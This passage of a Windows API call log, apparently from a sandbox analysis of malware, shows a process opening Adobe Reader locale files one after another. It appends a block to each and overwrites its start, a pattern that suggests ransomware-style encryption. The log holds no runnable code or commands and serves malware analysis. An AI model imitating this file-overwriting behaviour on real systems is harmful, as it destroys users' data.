lpWideCharStr="Spelling.CAT", cchWideChar=12, lpMultiByteStr=0x1e6314c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.CAT", lpUsedDefaultChar=0x0) returned 12 [0036.744] ReadFile (in: hFile=0x184, lpBuffer=0x25c7ed8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0036.746] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x1a00 [0036.746] ReadFile (in: hFile=0x184, lpBuffer=0x25c7ed8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0036.747] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x1a00 [0036.747] WriteFile (in: hFile=0x184, lpBuffer=0x25c7ed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0036.747] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0036.747] WriteFile (in: hFile=0x184, lpBuffer=0x25c7ed8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesWritten=0x2a0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0036.748] CloseHandle (hObject=0x184) returned 1 [0036.748] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\DVA.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\dva.cze"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0036.748] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0036.748] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x4600 [0036.748] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0036.748] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.748] ReleaseMutex (hMutex=0x128) returned 1 [0036.748] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.CZE", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0036.748] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.CZE", cchWideChar=7, lpMultiByteStr=0x1e6a9fc, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.CZE", lpUsedDefaultChar=0x0) returned 7 [0036.748] ReadFile (in: hFile=0x184, lpBuffer=0x25c7ed8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0036.750] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x3600 [0036.750] ReadFile (in: hFile=0x184, lpBuffer=0x2770358, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0036.751] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x3600 [0036.751] WriteFile (in: hFile=0x184, lpBuffer=0x25c7ed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0036.751] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0036.751] WriteFile (in: hFile=0x184, lpBuffer=0x2770358*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesWritten=0x2a0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0036.751] CloseHandle (hObject=0x184) returned 1 [0036.751] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\reflow.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\reflow.cze"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0036.751] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0036.751] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x1200 [0036.752] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0036.752] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.752] ReleaseMutex (hMutex=0x128) returned 1 [0036.752] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.CZE", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0036.752] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.CZE", cchWideChar=10, lpMultiByteStr=0x1e6324c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reflow.CZE", lpUsedDefaultChar=0x0) returned 10 [0036.752] ReadFile (in: hFile=0x184, lpBuffer=0x25c7ed8, nNumberOfBytesToRead=0x1200, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesRead=0x2a0f2bc*=0x1200, lpOverlapped=0x0) returned 1 [0037.172] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0037.172] WriteFile (in: hFile=0x184, lpBuffer=0x27723b8*, nNumberOfBytesToWrite=0x1788, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x27723b8*, lpNumberOfBytesWritten=0x2a0f2d0*=0x1788, lpOverlapped=0x0) returned 1 [0037.172] CloseHandle (hObject=0x184) returned 1 [0037.172] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Acroform.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\acroform.dan"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0037.173] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0037.173] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x64600 [0037.173] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0037.173] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0037.173] ReleaseMutex (hMutex=0x128) returned 1 [0037.173] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.DAN", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0037.173] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.DAN", cchWideChar=12, lpMultiByteStr=0x1e62fec, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.DAN", lpUsedDefaultChar=0x0) returned 12 [0037.173] ReadFile (in: hFile=0x184, lpBuffer=0x2613c48, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x2613c48*, lpNumberOfBytesRead=0x2a0f278*=0x8000, lpOverlapped=0x0) returned 1 [0037.194] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x63600 [0037.194] ReadFile (in: hFile=0x184, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0037.203] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x63600 [0037.203] WriteFile (in: hFile=0x184, lpBuffer=0x1deeea8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1deeea8*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0037.204] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0037.204] WriteFile (in: hFile=0x184, lpBuffer=0x2720cd8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2720cd8*, lpNumberOfBytesWritten=0x2a0f28c*=0x8000, lpOverlapped=0x0) returned 1 [0037.204] CloseHandle (hObject=0x184) returned 1 [0037.204] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\makeaccessible.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\makeaccessible.dan"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0037.211] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0037.211] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x12800 [0037.212] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0037.212] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0037.212] ReleaseMutex (hMutex=0x128) returned 1 [0037.212] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.DAN", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0037.212] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.DAN", cchWideChar=18, lpMultiByteStr=0x1e78ab4, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="makeaccessible.DAN", lpUsedDefaultChar=0x0) returned 18 [0037.212] ReadFile (in: hFile=0x184, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x2a0f278*=0x4000, lpOverlapped=0x0) returned 1 [0037.221] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x11800 [0037.221] ReadFile (in: hFile=0x184, lpBuffer=0x25ca738, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0037.227] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x11800 [0037.227] WriteFile (in: hFile=0x184, lpBuffer=0x25c7ed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0037.227] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0037.227] WriteFile (in: hFile=0x184, lpBuffer=0x1de8e48*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de8e48*, lpNumberOfBytesWritten=0x2a0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0037.227] CloseHandle (hObject=0x184) returned 1 [0037.227] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Services\\DEXShare.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\services\\dexshare.asfx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0037.228] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0037.228] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x8ca7 [0037.228] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0037.228] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0037.228] ReleaseMutex (hMutex=0x128) returned 1 [0037.228] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0037.228] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x1e631cc, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0037.228] ReadFile (in: hFile=0x184, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x2a0f278*=0x4000, lpOverlapped=0x0) returned 1 [0037.232] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x7ca7 [0037.233] ReadFile (in: hFile=0x184, lpBuffer=0x25ca738, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0037.233] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x7ca7 [0037.233] WriteFile (in: hFile=0x184, lpBuffer=0x1da5ed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da5ed8*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0037.233] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0037.233] WriteFile (in: hFile=0x184, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x2a0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0037.234] CloseHandle (hObject=0x184) returned 1 [0037.234] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Checkers.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\checkers.deu"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0037.234] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0037.234] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x1fe00 [0037.234] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0037.234] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0037.234] ReleaseMutex (hMutex=0x128) returned 1 [0037.234] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.DEU", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0037.234] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.DEU", cchWideChar=12, lpMultiByteStr=0x1e6302c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.DEU", lpUsedDefaultChar=0x0) returned 12 [0037.234] ReadFile (in: hFile=0x184, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x2a0f278*=0x4000, lpOverlapped=0x0) returned 1 [0037.239] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x1ee00 [0037.239] ReadFile (in: hFile=0x184, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0037.244] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x1ee00 [0037.245] WriteFile (in: hFile=0x184, lpBuffer=0x25c7ed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0037.245] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0037.245] WriteFile (in: hFile=0x184, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x2a0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0037.246] CloseHandle (hObject=0x184) returned 1 [0037.246] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\RdLang32.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\rdlang32.deu"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0037.246] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0037.246] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x15c400 [0037.246] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0037.246] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0037.246] ReleaseMutex (hMutex=0x128) returned 1 [0037.246] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.DEU", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0037.246] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.DEU", cchWideChar=12, lpMultiByteStr=0x1e630cc, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.DEU", lpUsedDefaultChar=0x0) returned 12 [0037.246] ReadFile (in: hFile=0x184, lpBuffer=0x2720cd8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x2720cd8*, lpNumberOfBytesRead=0x2a0f278*=0xf000, lpOverlapped=0x0) returned 1 [0037.255] ReadFile (in: hFile=0x184, lpBuffer=0x2720cd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x2720cd8*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0037.258] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x15b400 [0037.259] ReadFile (in: hFile=0x184, lpBuffer=0x25ca738, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0037.264] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x15b400 [0037.264] WriteFile (in: hFile=0x184, lpBuffer=0x25c7ed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0037.265] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0037.265] WriteFile (in: hFile=0x184, lpBuffer=0x27bfb38*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesWritten=0x2a0f28c*=0xf000, lpOverlapped=0x0) returned 1 [0037.265] WriteFile (in: hFile=0x184, lpBuffer=0x27bfb38*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesWritten=0x2a0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0037.265] CloseHandle (hObject=0x184) returned 1 [0037.265] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Weblink.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\weblink.deu"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0037.265] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0037.265] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x7400 [0037.266] 